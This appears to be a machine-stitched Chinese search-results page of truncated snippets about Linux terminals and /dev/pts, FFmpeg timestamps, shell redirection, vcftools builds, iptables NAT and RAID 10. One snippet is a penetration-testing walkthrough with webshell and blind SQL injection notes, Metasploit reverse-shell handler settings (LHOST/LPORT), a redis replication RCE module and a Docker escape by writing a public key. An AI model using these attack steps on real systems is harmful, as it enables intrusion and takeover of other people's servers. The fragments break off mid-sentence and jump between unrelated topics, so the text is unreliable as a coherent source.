它的对应端则会被自动地创建成/dev/pts/3。这样就可以在需要时提供一个pty伪终端。目录 /dev/pts是一个类型为devpts的文件系统,并且可以在被加载文件系统列表中看到。...虽然“文件”/dev/pts/3看上去是设备文件系统中的一项,但其实它完全是一种不同的文件系统。...在RHEL4环境下:输出为 /dev/ptmx /dev/pts/1 存在一(master)对多(slave)的情况 3.控制终端(/dev/tty) 如果当前进程有控制终端(Controlling...4.控制台终端(/dev/ttyn, /dev/console) 在Linux系统中,计算机显示器通常被称为控制台终端(Console)。...它仿真了类型为Linux的一种终端(TERM=Linux),并且有一些设备特殊文件与之相关联:tty0、tty1、tty2等。当你在控制台上登录时,使用的是tty1。
在使用Linux的过程中,当我们通过ssh或者telnet等方式连接到服务器之后,会有一个相应的终端来对应。而在直接登陆到Linux服务器的时候也有一个对应的终端。...二、终端的模式 1、Linux X window X window环境,即图形界面终端模式,类似于Windows的图形画界面,也就是通过鼠标的点点来完成所有的管理任务。...Linux默认的情况下会提供六个Terminal来让使用者登陆, 切换的方式为使用:[Ctrl] + [Alt] + [F1]~[F6]的组合按钮。...总结如下: linux的终端机(文字)界面与图形界面间的切换热键为: 进入终端机也就是字符界面(tty1-tty6):[Ctrl] + [Alt] + [F1] - [F6] ...0 15:40 pts/1 00:00:00 /bin/bash root 4313 1843 0 17:31 pts/0 00:00:00 ps -ef ###查看虚拟终端设备
DTS主要是标识读入内存中的bit流在什么时候开始送入解码器中进行解码。 也就是pts反映帧什么时候开始显示,dts反映数据流什么时候开始解码。 怎么理解这里的“什么时候”呢?...那么它的pts是多少呢。是10?还是10s?还是两者都不是。 为了回答这个问题,先引入FFmpeg中时间基的概念,也就是time_base。它也是用来度量时间的。...pts=20个刻度 time_base={1,10} 每一个刻度是1/10厘米 所以物体的长度=pts * time_base=20 *1/10 厘米 在ffmpeg中,av_q2d(time_base...非压缩时候的数据(即YUV或者其它),在ffmpeg中对应的结构体为AVFrame,它的时间基为AVCodecContext 的time_base ,AVRational{1,25}。...根据pts来计算一桢在整个视频中的时间位置: timestamp(秒) = pts * av_q2d(st->time_base) duration和pts单位一样,duration表示当前帧的持续时间占多少格
# 可替换为其他webshell 1.5、盲注分析 导出数据包: 文件——导出分组解析结果——为纯文本 通过notepad++解码: 提取所有注入数据包,此处使用notepad++中的标记功能...当上面的查询语句从1,1到2,1,则上一条语句的=''的值就是SQLi获取到的数据。 找到所有数据后,用英文的逗号隔开,然后使用convert从dec转成text。...lhost 192.168.0.44 msf6 exploit(multi/handler) > set lport 4443 msf6 exploit(multi/handler) > exploit linux...set LHOST 172.16.143.132 set target 7 exploit 2.6、redis主从复制rce search redis msf6 exploit(linux/redis...msf6 exploit(linux/redis/redis_replication_cmd_exec) > exploit 2.7、docker逃逸-写公钥 查看设备情况 fdisk -l
A Linux中0、1、2的含义 名称 代码 操作符 Java中表示 Linux 下文件描述符(Debian 为例) 标准输入(stdin) 0 /proc/self/fd/0 -> /dev/pts/0 标准输出(stdout) 1 >, >>, 1> 或 1>> System.out /dev/stdout -> /proc/self/...fd/1 -> /dev/pts/0 标准错误输出(stderr) 2 2> 或 2>> System.err /dev/stderr -> /proc/self/fd/2 -> /dev/pts/0...回答: 我们不妨把1和2都理解是一个指针,那么这么想 本来1->屏幕(1指向屏幕) 执行>log后,1->log(1指向log) 执行2>&1后,2->1(2指向1,而1指向log,因此2也指向了...log) 那么再分析一下nohup java -jar app.jar 2>&1 >log & 本来1->屏幕 执行2>&1后,2->1(2也指向屏幕) 执行>log后,1->log(这时候1指向log
由于系统中不存在whatthis命令,因此执行会报错。 假如我们想保存该脚本的打印结果,只需将test.sh的结果重定向到log.txt中即可: ....而使用下面的方式则会将出错信息也重定向到log.txt中: ./test.sh > log.txt 2>&1 以这样的方式调用脚本,可以很好的将错误信息保存,帮助我们定位问题。...1 -> /dev/pts/7 2 -> /dev/pts/7 255 -> /home/hyb/workspaces/shell/test.sh 可以看到,test.sh打开了0,1,2三个文件描述符...我们同样通过前面的方法,可以看到test.sh进程的文件描述符情况如下: 0 -> /dev/pts/7 1 -> /home/hyb/workspaces/shell/log.txt 2 ->...思考 下面的调用会将标准错误输出重定向到文件中吗?为什么? ./test.sh 2>&1 >log.txt
前言 在linux中我们时常能见到>,>>,>&,&>,&,&&,|,||,2>&1等符号,它们到底是什么?下面浅谈一下我的看法,如有不对的地方请大家及时指正!...linux中的文件描述符和重定向 文件描述符 在介绍上述符号表示什么之前,我们需要先知道在linux中有三种标准的文件描述符(也支持自定义),分别为: • 0:表示标准输入(stdin) • 1:表示标准输出...现在我在linux上用python test.py运行脚本,它本来是要输出Hello World到屏幕的,但现在我不让它直接输出到屏幕上,而是存在了output.log日志文件中,这就叫将标准输出重定向到...2: No such file or directory 从上面的例子中可以看到ls donot_exist.txt >output.log 2&>1与ls donot_exist.txt 2 &>...例如,先通过2&>1将标准错误2输出重定向至标准输出1,再通过>将标准输出1重定向到为output.log中,使得output.log中也包含了标准错误信息。
plink软件和vcftools软件是处理基因型数据常用的两款软件,计划系统的写一个vcftools的操作笔记,包括: 1,软件安装 2,常用的软件质控 3,数据筛选(个体和SNP) 4,统计参数计算(...(当然,最简单的方法是conda安装,这里介绍一下源码编译安装) 1. 下载 https://vcftools.github.io/examples.html 下载到本地,上传到服务器中。 2....vcftools/vcftools-vcftools-581c231/src” make[2]: 离开目录“/opt/vcftools/vcftools-vcftools-581c231/src” make[1]...: 离开目录“/opt/vcftools/vcftools-vcftools-581c231/src” make[1]: 进入目录“/opt/vcftools/vcftools-vcftools-581c231...make[2]: 离开目录“/opt/vcftools/vcftools-vcftools-581c231” make[1]: 离开目录“/opt/vcftools/vcftools-vcftools-
一.前言 从这篇文章开始,博主就开启了Linux学习之路了,本篇文章也是博主的第一篇Linux的文章,今后也会持续不断更新的。...二.理解文件 1.文件 文件=文件数据+文件属性(所以一个建好的文件就算没有数据,也占用存储空间) => 文件操作=对文件数据操作+对文件属性操作 2.路径(用来定位文件) a.绝对路径 :把从开始到定位的位置成为绝对路径...Linux风格的路径分隔符:/ windows风格的路径分隔符:\ Linux文件结构 可以通过 tree 指令查看当前文件的结构,但需先安装这个指令 安装指令:yum install -y tree...二.ls 指令 1.功能 对于目录,该命令列出该目录下的所有子目录与文件。...(递归) -1 一行只输出一个文件。 三.pwd 指令(显示用户当前所在的目录) 四.cd 指令(改变工作目录。
1. 认识 Linux, 了解 Linux 的相关背景 1.发展史 学习Linux系统编程,你可能要问Linux从哪里来?它是怎么发展的?在这里简要介绍Linux的发展史。...Multics在多任务文件管理和用户连接中综合了许多新概念。...CentOS CentOS是一款企业级Linux发行版,它使用红帽企业级Linux中的免费源代码重新构建而成。这款重构版 完全去掉了注册商标以及Binary程序包方面一个非常细微的变化。...Fedora是一款非常好 的发行版,有庞大的用户论坛,软件库中还有为数不少的软件包。 Kali Linux Kali Linux是Debian的一款衍生版。Kali旨在用于渗透测试。...毫无疑问,Kali Linux是一款渗透测试工具,或者是文明黑客(我不想谈论恶意黑客)青睐的操作系统。 2. 学会如何使用云服务器 1.搭建Linux环境 Linux环境的搭建方式有3种 1.
scope global em1[root@linux-gateway ~]# 内网网卡为 em1查看默认路由,与出口网卡[root@linux-gateway ~]# ip route | grep...em1 的 FORWARD 请求nat 表的 POSTROUTING 链上打开来自内网出口为 em2 的地址伪装,即 SNAT[root@linux-gateway ~]# iptables -A FORWARD...-i em1 -j ACCEPT[root@linux-gateway ~]# iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -o em2 -j MASQUERADE...方法二:通过配置文件修改可以在 /etc/sysconfig/iptables 中的 filter 和 nat 部分进行配置*nat:PREROUTING ACCEPT [3370:177472]:POSTROUTING...#-A FORWARD -j REJECT --reject-with icmp-host-prohibited -A FORWARD -i em1 -j ACCEPT COMMIT使用 /etc/init.d
[root@centos7 ~]#vim r1.sh #!.../bin/bash # ------------------------------------------ # Filename: r1.sh # .........如"$@"用「"」括起来的情况、以"$1" "$2" … "$n" 的形式输出所有参数。...$1是第1参数、$2是第2参数…。 printf "The complete list is %s\n" "$2" //添加到Shell的各参数值。$1是第1参数、$2是第2参数…。.../r1.sh The complete list is 123456 The complete list is QQ
首先了解下1和2在Linux中代表什么 在Linux系统中0 1 2是一个文件描述符 名称 代码 操作符 Java中表示 Linux 下文件描述符(Debian 为例) 标准输入(stdin) 0 /proc/self/fd/0 -> /dev/pts/0 标准输出(stdout) 1 >, >>, 1> 或 1>> System.out...>log 2>&1 & 为什么2>&1一定要写到>log后面,才表示标准错误输出和标准输出都定向到log中?..."error1",log文件中则只有"out1" 每次都写">log 2>&1"太麻烦,能简写吗?...语义上是没有任何区别的,但是第一中方式是最佳选择,一般使用第一种 参考: https://unix.stackexchange.com/questions/89386/what-is-symbol-and-in-unix-linux
在我们以前的文章中,我们已经了解了如何设置RAID 0和RAID 1,最少2个磁盘。 在这里,我们将使用RAID 0和RAID 1执行Raid 10设置,最少4个驱动器。...在Linux中创建Raid 10 使用RAID 0,将保存为第一盘和第二盘的“P”,“A”,随后又在第二盘第一盘“P”和“L”。 然后,“E”,在第一次盘,这样它会继续循环赛过程中保存数据。...我们将丢失RAID 10中的两个磁盘容量。 读写将是非常好的,因为它会同时写入和读取所有这4个磁盘。 它可以用于需要高I / O磁盘写入的数据库解决方案。...要求 在RAID 10中,我们至少需要4个磁盘,前2个磁盘用于RAID 0,其他2个磁盘用于RAID 1.像我之前说的,RAID 10只是RAID 0和1的组合。...第1步:为RAID分区驱动器 3.现在创建使用“FDISK”工具的所有4个磁盘(为/ dev / sdb的是/ dev / SDC中,/ dev / SDD和/ dev / SDE)一个新的分区。
我作为一个Linux新手,深知在学习过程中遇到的各种坑。新手总是希望能有一本大宝典,囊括了所有的技能,只需要跟着学,就能成为高手。 可,这种想法是不现实的。...这也是我写《Linux笔记》系列的出发点。这个系列将持续更新,记录我在使用Linux过程中的各种问题。...文件名 “File1” 和 “file1” 是指两个不同的文件名 Linux 没有“文件扩展名”的概念,不像其它一些系统。.../mnt 在早些的 Linux 系统中,/mnt 目录包含可移除设备的挂载点。 /opt 这个/opt 目录被用来安装“可选的”软件。这个主要用来存储可能 安装在系统中的商业软件产品。...新安装的 Linux 系统中,会存在这个目录, 但却是空目录,直到系统管理员放些东西到它里面。 /usr/sbin 包含许多系统管理程序。
unix(商业系统) -> minix(开源) -> linux(91年) 内核版本与发行版本 服务器领域用的更多的还是redhat(稳定不包括图形界面),ubuntu主要用在个人机器。...www.netcraft.com linux虚拟机的安装 善用虚拟机的快照,克隆 分区 主分区只能分4个 扩展分区最多只能有1个,只能包含逻辑分区,逻辑分区从5开始 主分区加扩展分区最多有4个...格式化的根本目的是为了写入文件系统 linux中一切都是文件,硬件也是文件,比如/dev/hda1表示IDE的硬盘接口,/dev/sda1表示SCSI, SATA的硬盘接口。...linux中将目录作为盘符,也叫作挂载点。 挂载:将盘符和分区连在一起的过程。...必须分区 / 根分区 swap分区(交换分区,内存2倍,不超过2GB,4G以内两倍4G以上一样大) 推荐分区 /boot 启动分区,200MB windows在局域网不能有相同的主机名,linux
/dev : dev是Device(设备)的缩写, 该目录下存放的是Linux的外部设备,在Linux中访问设备的方式和访问文件的方式是相同的。.../home: 用户的主目录,在Linux中,每个用户都有一个自己的目录,一般该目录名是以用户的账号命名的。.../media: linux系统会自动识别一些设备,例如U盘、光驱等等,当识别后,linux会把识别的设备挂载到这个目录下。...这个目录的内容不在硬盘上而是在内存里,我们也可以直接修改里面的某些文件,比如可以通过下面的命令来屏蔽主机的ping命令,使别人无法ping你的机器: echo 1 > /proc/sys/net/ipv4.../var: 这个目录中存放着在不断扩充着的东西,我们习惯将那些经常被修改的目录放在这个目录下。包括各种日志文件。 /run: 是一个临时文件系统,存储系统启动以来的信息。
linux里面一切皆是文件 命令格式:命令+参数+文件 e.g.command -options [parameter] #空格隔开 tar -zxvf Data.tar.gz 图片 图片 pwd...匹配任意单个字符 图片 cd 切换所在目录 绝对路径 从根目录写起 相对路径 相对于当前路径怎么去 mkdir 目录名(文件夹) #递归创建目录 mkdir -p test1/test2 先创建test1...,在test1下面有test2 tree 需要安装 展示目录下面所有文件 一级一级展示 tree -L 2 只显示两层 touch 新建空文件(文件) touch file 现在一个file
学习linux,这些命令是绕不开的,从此处开始探索linux命令,虽然枯燥,但掌握了却显得(也确实)很牛叉。...linux命令远不止这些,这是其中的两个而已,慢慢来,一个一个掌握。
Linux的命令比较多,而且后台开发的时候基本操作服务器的时候都是采用命令行,当然不需要所有的都一次掌握,但是很多重要的用的多的还是需要掌握,不需要直接去记,还是需要多用才会熟练 shell相关...) -a 列出隐藏文件,文件中以“.”开头的均为隐藏文件,如:~/.bashrc -l 列出文件的详细信息 -R 连同子目录中的内容一起列出 ls -l开头显示的10个字符串,第一个表示的是文件类型,后面的...which(查看命令所在的位置) which ls //查看ls命令所在的位置 mv(移动)和cp(复制) mv file1 file2 //文件重命名,file1和file2分别是原文件名和重命名的文件名...mv file /dir //移动文件 //拷贝文件 cp file1 file2 cp file1 dir/ //拷贝目录 cp dir1 dir2 -r //-r 选项在文件夹操作中,一般表示对文件夹中的文件递归操作...-name 'file*' //在当前目录中搜索以file开头的文件 grep(根据内容检索)
领取专属 10元无门槛券
手把手带您无忧上云